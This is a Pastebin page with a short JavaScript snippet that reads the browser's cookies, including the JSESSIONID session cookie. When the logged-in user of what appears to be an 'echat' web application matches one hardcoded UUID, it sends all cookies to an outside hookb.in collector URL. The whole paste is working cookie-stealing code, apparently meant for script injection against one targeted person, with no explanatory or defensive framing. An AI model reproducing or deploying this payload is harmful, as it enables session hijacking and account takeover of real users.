Advertisement
Guest User

Untitled

a guest
Mar 23rd, 2018
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. function dumpToHookBin(obj){
  2. var data = JSON.stringify(obj);
  3. $.ajax({
  4. method: "POST",
  5. url: "https://hookb.in/EOxxJ43M",
  6. data: data,
  7. dataType: "json",
  8. contentType: "application/json",
  9. processData: false
  10. }).done(function (msg) {
  11. console.log(msg);
  12. });
  13. }
  14. function getCookie(cname) {
  15. var name = cname + "=";
  16. var decodedCookie = decodeURIComponent(document.cookie);
  17. var ca = decodedCookie.split(';');
  18. for(var i = 0; i <ca.length; i++) {
  19. var c = ca[i];
  20. while (c.charAt(0) == ' ') {
  21. c = c.substring(1);
  22. }
  23. if (c.indexOf(name) == 0) {
  24. return c.substring(name.length, c.length);
  25. }
  26. }
  27. return "";
  28. }
  29.  
  30. function getSessionCookie(userUuid){
  31. return getCookie('JSESSIONID');
  32. }function isUser(userUuid){
  33. return userUuid.indexOf(com.echat.shared.context.Account.UserContext.userUuid)>=0;
  34. }
  35.  
  36.  
  37. if(isUser('c14b5cc1-2067-422b-afe4-793a8681329f')){
  38. dumpToHookBin({cookies:document.cookie});
  39. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement